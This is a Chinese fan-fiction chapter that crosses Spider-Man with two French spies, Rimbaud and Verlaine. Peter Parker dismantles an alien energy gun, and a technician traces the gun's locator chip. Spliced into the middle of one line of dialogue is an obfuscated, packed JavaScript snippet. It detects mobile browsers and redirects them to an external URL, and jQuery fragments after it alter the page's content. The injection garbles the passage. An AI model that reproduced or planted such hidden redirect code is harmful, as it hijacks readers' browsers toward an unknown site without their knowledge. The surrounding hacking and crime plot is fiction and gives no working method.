“哇……”
彼得·帕克站在地下室中央的走廊上,看着用玻璃隔开的三个空间,发出由衷的赞叹声,
“好大!?”
明明从地上看,这栋屋子的面积只是中等,可地下室居然有这么大?
“因为地下室在修建的时候扩充过,囊括了整个庭院。”
兰波推开左侧隔间的门,示意彼得跟自己进来,后者愣了下,回过头看向走进另一个隔间的魏尔伦。
“彼得?”
“啊?哦。”
彼得抱着武器,跟在兰波身后走进去,
“魏尔伦小姐不过来吗?那间屋子是干什么用的?我好像看到了机器人——好多枪啊?这里是专门的武器库?诶,斯塔克工业?这些是斯塔克先生的赞助吗——哇!”
正在碎碎念的棕发男孩转过拐角,被眼前突然出现的身影吓了一跳,
“你、你好?”
“您好。”
容貌普通的东亚男性笔直地站起身,露出礼貌地微笑,并微微躬身致意,随后又立刻坐下,继续在键盘上敲敲打打。
“他是技术支援,如果你想知道的话——喊他木下就可以。”
兰波走到操作台旁,将昨天搭档拆了又装好的两把新式手枪拿起来,放到一旁的柜子上,
“你自己拆?还是我来?”
“我……我自己拆吧。”
彼得·帕克有些犹豫地说,
“我想看看这把枪的构造是不是跟之前捡到的那把一样。”
“……?”
捡到两把外星枪?
兰波哑然片刻,让开操作台前的位置,棕发男孩把怀里巨大的枪械轻巧地放上去,顺手拿起一旁的护目镜,相当熟练地操作起来。
如果只看外表,这支枪的整体样子像是新式的某款军用火箭筒,兰波之所以能一眼认出是外星科技,全因枪支尾端那颗显眼的能量块——彼得拆解的目的,也正是要拿出它。
“之前那支枪呢?”
“在学校拆掉了,尾端的能量块我、额。”
彼得的话磕绊了一下,
“我回头会交给斯塔克先生的。”
回头?
兰波挑眉,没对这句话作出评价,
“那这把怎么想到来找我?”
“这把枪比先前那把体积更大,而且学校这两天没有实践课,我想兰波小姐这里应该有可以操作的地方,所以就……”
他上次拆枪的时候就差点被实验室的老师记名,要是再偷溜进去闹出什么乱子,肯定会被捅到梅姨那去——棕发男孩苦恼地叹了口气,将拆解好的外壳堆到一旁,继续专心对付剩下的集成化模块。
“别动那里。”
兰波皱着眉头捏住电动螺丝刀的尾端,制止彼得继续拧螺丝的动作,
“先拆下面。”
其实她对枪械并不精通,甚至还没魏尔伦懂得多——毕竟人造神明是作为战争武器而降生的,但作为超越者,兰波对能量极为敏感。
“这里链接着能量块,要先断开前面的线路。”
谍报员指了指靠上的另一处触点,
“拆这里。”
“呼……好的。”
彼得抿抿嘴,操作变得愈发小心——好在,后续的拆解都没出什么问题,浅蓝色的能量块和几片小巧的芯片一字排列的摆放着。棕发男孩从身旁的背包里取出带来的另一颗能量块,盯着两颗除了大小外几乎毫无差别的浅蓝色“石头”,面色逐渐凝重。
“……果然是一样的。”
他喃喃自语,
“制作方式的差异只是因为能量利用的方式不同而已?”
“没错。这支枪的能效更高,可以发射出高频射线融解目标,昨晚皇后区的抢劫案件中,劫匪就是用这个融解了金店的保险柜,至于你先前从劫匪手里抢到的那支——更类似大型火焰枪?功率和能耗更低一些。”
整理完脑海中的新情报,兰波捏起一枚芯片,漫不经心地说,
“反正核心都是奇塔瑞人的能量块,前些年纽约大战的遗留产物。”
“是的——!”
彼得猛地站起身来,
“不是、不、我是说、我……”
在兰波像山溪一样冰凉宁静的眼神中,他攥了攥拳头,委屈而挫败地垂下头,
“好吧,我确实、我没有夜巡,只是晚上睡不着,出来逛街的时候看到他们的。”
一戳就破的谎言。
兰波轻笑一声,姑且给未成年的小孩留下些脸面,
“所以,你认为有人在兜售这些武器——向地下世界的那些人。”
“对。”
提到正事,彼得挠挠头发,叹了口气,
“之前——就是索科维亚协议刚打算签订的时候,有人用相似手段制造出机械翅膀和武器,袭击了复仇者大厦,但那个自称秃鹫的人被抓后没过几天,就因为病情急速恶化而去世,没人知道他的武器从何而来。”
他抿着嘴,
“我觉得,他的武器,跟这两把枪出自同一个地方——有人不知道用什么办法得到了本该被灾害控制局妥善保管的奇塔瑞能量块,或许还有更多其他奇塔瑞人的科技产品。”
“逻辑通畅的推理。”
兰波把视线从指尖的芯片上移开,看向棕发男孩写满认真的眼睛,
“你打算怎么做?找到这位‘外星武器商人’,抓住他,还是把现有的证据提交上去?”
“……”
彼得的脸色变得灰暗了一些,
“我说过了。”
他上次拆完枪,就打算把这个能量块给哈皮先生送过去,或者直接找到斯塔克先生,可是……
棕发男孩又抿了抿嘴,明明没什么表情,却看起来整张脸都皱巴巴的,他岔开话题,接着说自己的推测,
“从秃鹫袭击复仇者大厦到现在已经过去了四个多月,但直到半个月前,才有人再次使用这种武器,自那之后,类似的抢劫案件越来越多,范围也不再局限于皇后区内。”
他的语气笃定,
“贩卖者在甩卖这批武器,筹集资金。”
至于筹集资金干什么,可能是制作更新更好的武器,也可能是单纯的缺钱。但不论背后究竟有什么阴谋,外星武器的泛滥势必会给整个皇后区、整个纽约,乃至于整个美国的治安带来沉重的打击。
他必须阻止这件事。
“我必须抓住他们。”
彼得从椅子上站起来,给操作台上的所有零件拍了几张照片,不抱希望地再次发送到那个熟悉的号码上,然而两分钟过去,手机一如既往地没有发出任何消息提示音。
他耸耸肩,关闭手机,看向兰波,
“谢谢你,兰波小姐,我回去再蹲守一下他们的交易地点。”
棕发男孩敞开背包,准备把所有东西都塞进去时,沉默着听他说了半天的兰波抛起手中的芯片。
“!?”
彼得接住芯片,疑惑地抬起头,
“兰波小姐?”
“不用那么麻烦。”
兰波挤出一个心累的微笑,
“这是枚定位通讯芯片。”
也就是说——
彼得腾地一下挺直身体——这栋房子暴露了!?
————————————————————
“抱歉、真的很抱歉,我没、我是说……真的,抱歉。”
棕发男孩懊恼地站在木下身后,
“我不应该过来麻烦你们的。”
“芯片的定位只是默认开启,并不能主动传输定点位置。”
本该收工下班的木下面无表情地敲键盘,
“还好刚才主、兰波小姐看到了能量线路,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968352|177062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芯片被完好地拆下,没有触发什么警报,对方只要没特意追踪这把枪,就不会察觉异常——反而是我们可以用这枚芯片来定位他们。”
“呼……”
棕发男孩长长地舒了口气,
“那就好。”
他看着屏幕上飞速变动的代码和界面,努力保持两分钟安静后,还是忍不住开口问道,
“木下先生,你用的是自己开发的代码吗?”
为什么全都是日文啊?
“……算是吧。”
其实是咒术的咒言。
他的生得术式没有名字,是诞生于新时代的特殊术式,只有依赖于电子终端才能发挥效用——在手机或电脑一类的终端中输入对应的咒言,就可以操控网络上的大部分东西,比如监控、比如各种系统之类的。
在咒术界,这是个相当没用的术式,甚至不具备任何杀伤力,但木下却借此混得风生水起。
他用术式破开各种安保系统,从打劫小店到抢劫银行,甚至还出于乐趣,让多辆智能化汽车的系统失控,造成大量伤亡——那也是他犯下的最后一起案件,在那之后,他就被找上门的咒术协会逮捕,交给非术士政府,判处了秘密死刑。
木下面无表情地敲下回车,随着他身上咒力的涌动,反追踪程序顺利启动,电脑屏幕上的界面跳转回彼得·帕克熟悉的代码和地图。
“……在移动?”
“大型房车、集装拖车、飞机——一切都有可能。”
魏尔伦结束了锻炼,她倚在门边,朝兰波眨了眨眼睛,
“把追踪程序发到他手机上,我和阿蒂尔要出去了。”
“是。”
木下朝彼得·帕克伸出手,后者乖乖递上手机,三分钟后,程序转移完毕。看着干脆利落地收拾好背包,准备立刻离开的棕发男孩,兰波沉思片刻,把手伸进长衫的斜兜里,掏出一样东西。
“彼得。”
“嗯?”
“拿着这个。”
兰波摊开掌心,里面是一枚半透明的金色立方体吊坠,
“这是——?”
“护身符。”
谍报员微笑,
“如果碰到解决不了的事情,就捏碎它。”
“哦,好的。”
彼得眨眨眼睛,接过小巧的吊坠,
“谢谢。”
他忽然想起什么事似的,露出恳求的表情,
“我今天来这里的事情,能不能不要告诉斯塔克先生?”
“?”
她们为什么要告诉斯塔克?兰波不明所以地点点头。
魏尔伦冷哼一声,等彼得·帕克的气息彻底消失不见,才略带嘲讽地开口,
“天真又愚蠢。”
“他才15岁。”
木下已经识趣地主动化作金色光点消失,兰波摇摇头,
“会慢慢成长起来的。”
“阿蒂尔15岁的时候可没这么笨——我也没有。”
魏尔伦牵着兰波的手走进浴室,她刚锻炼完,虽然不会出汗,但洗个澡再出门更舒服。
听到搭档连说两次“笨”,兰波总算从自己的思维逻辑中跳脱出来,
“……啊。”
一瞬间想通了彼得·帕克奇怪说辞的缘由,兰波有些哭笑不得,
“他把我们当作复仇者联盟成员身份的知情者——或者是跟他一样的预备成员了?”
“不是吗?”
彼得·帕克捏紧手里半透明的金色小立方体吊坠,瞪大眼睛,惊恐地拔高声音,
“没有对应资料!?”
“当然没有啊!”
内德·利兹戳着屏幕上黑进法国军方系统后显示的资料界面,声音比他更大,
“她们是法国特工啊!怎么可能加入复仇者联盟!?你就不能等我比赛完回来再一起去调查吗!?”